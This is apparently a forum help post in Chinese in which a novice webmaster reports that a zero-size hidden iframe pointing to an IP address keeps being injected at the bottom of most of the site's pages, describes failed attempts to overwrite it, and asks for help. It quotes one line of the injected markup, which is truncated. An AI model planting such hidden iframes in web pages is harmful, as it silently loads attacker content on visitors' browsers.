新人求助

我这几天维护个网站的时候,大多数页面的最底端都被加上了恶意代码
<iframe src="http://88. width=0 height=0></iframe>
然后我开始的时候用<script></script>进行了替换处理
这样维持了3天
然后大部分页面又被加上了那段恶意代码
有1/3的文件虽然都有修改时间的提示
但是文件没被改动
后来我又用
<script language="javascript" type="text/css">
<!--
//-->
</script>
替换了<script></script>
可是现在问题更严重
请问各位 遇到这个问题要怎么处理啊
我请教我的老师了 他说他也不知道了
希望大家给支个招 先谢谢了